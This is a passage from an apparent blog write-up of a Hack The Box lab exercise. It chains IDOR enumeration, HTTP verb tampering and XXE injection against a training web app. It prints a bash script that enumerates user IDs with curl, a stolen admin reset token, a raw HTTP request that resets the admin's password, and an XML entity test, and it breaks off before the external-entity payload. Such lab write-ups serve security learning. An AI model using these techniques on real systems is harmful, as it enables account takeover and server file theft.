Introduction

Modern web application security relies on authorization checks at every API boundary. When an application trusts client-side identity without verifying it on the backend, it opens the door to serious logic flaws.

This post walks through a multi-stage exploit chain from the Skill Assessment of HTB's Web Attacks module, part of the CEWS certification path. By combining an Insecure Direct Object Reference (IDOR) flaw with HTTP Verb Tampering, full Account Takeover (ATO) was achieved. From there, In-Band XXE injection with a PHP Stream Filter was used to extract server-side source code.

The Attack Chain at a Glance

  1. Initial Access: Logging in with the provided credentials and identifying the starting user context.
  2. API Enumeration: Finding an admin account and reset token through IDOR in the site's URL structure, which then exposed API endpoints.
  3. Account Takeover: Abusing loose cookie-to-request mapping to reset the administrator's password.
  4. Data Exfiltration: Using XXE injection to read server files via Base64 encoding.

Technical Deep-Dive

Phase 0: Initial Access

The Skill Assessment provided a starting point: authenticate htb-student with the password Academy_student!.

None

After logging in, the application landed on profile.php, showing a standard user dashboard for Paolo Perrone at Schaefer Inc.

None

Intercepting the profile page request in Burp Suite revealed that the application was already leaking the user's ID both in the URL and in a uid cookie. The API endpoint /api.php/user/74 confirmed this, returning the current user's details directly:

None

This was the first signal that user IDs were being used as direct object references with no additional validation, setting the stage for IDOR enumeration.

Phase 1: API Enumeration & Insecure Direct Object Reference (IDOR)

The application exposed user IDs directly in its URL structure, allowing any authenticated user to reference other users' resources by simply changing the ID in the URL. This led to the discovery of two sensitive API endpoints:

  • /api.php/user/${uid}
  • /api.php/token/${uid}

The backend never checked whether the logged-in user had permission to access other users' profiles or tokens.

A simple Bash script iterated through user IDs to find interesting accounts:

#!/bin/bash
BASE_URL="http://154.57.164.71:30176/api.php/user"
for uid in {1..100}; do
    response=$(curl -s -w "\n" "${BASE_URL}/${uid}")
    if [ -n "$response" ]; then
        echo "[*] User ID: ${uid} | ${response}"
    fi
done

The script found an admin account at ID 52:

{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}
None

A direct GET request to /api.php/token/52 then returned the admin's active reset token with no errors:

{"token":"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"}
None

Phase 2: HTTP Verb Tampering & Account Takeover (ATO)

The goal was to use the stolen token against the password reset page at /reset.php.

Sending a standard application/json POST request returned a Missing parameters error right away.

None
Missing parameters error

Looking closer at the backend logic revealed the problem: the PHP code was checking permissions by comparing the uid cookie against the uid value in the request, essentially doing $_COOKIE['uid'] === $_REQUEST['uid'].

By sending the parameters as URL query strings instead of a POST body, and setting the cookie to uid=52, the authorization check passed completely:

POST /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=a HTTP/1.1
Host: 154.57.164.71:30176
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=16vrs65ncrfrgv51r7kiogl864; uid=52
Content-Length: 0
Connection: close

The server returned 200 OK with:

Password changed successfully
None

Logging in as a.corrales / a gave full access to the admin panel.

None
None

Phase 3: In-Band XXE Injection

With admin access, the focus shifted to /event.php, which contains a form for creating new events. Before injecting anything malicious, a legitimate request was sent first to understand how the form data is transmitted to the backend.

None

Intercepting the request in Burp Suite revealed that the form data is sent as raw XML to /addEvent.php, and the event name field is reflected back in the response as "Event 'a' has been created." This confirmed that whatever ends up in the <name> tag gets reflected on the page, making it the injection point

None

The next step was to verify that the parser actually processes XML entities before attempting anything more aggressive. A simple internal entity was defined and referenced in the <name> tag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY company "Inlane Freight">
]>
<root>
  <name>&company;</name>
  <details>aaa</details>
  <date>2026-05-20</date>
</root>
None

The response returned "Event 'Inlane Freight' has been created", confirming the parser resolves entities and reflects them. With that confirmed, the next step was testing whether external entities work as well, by pointing one at a known local file: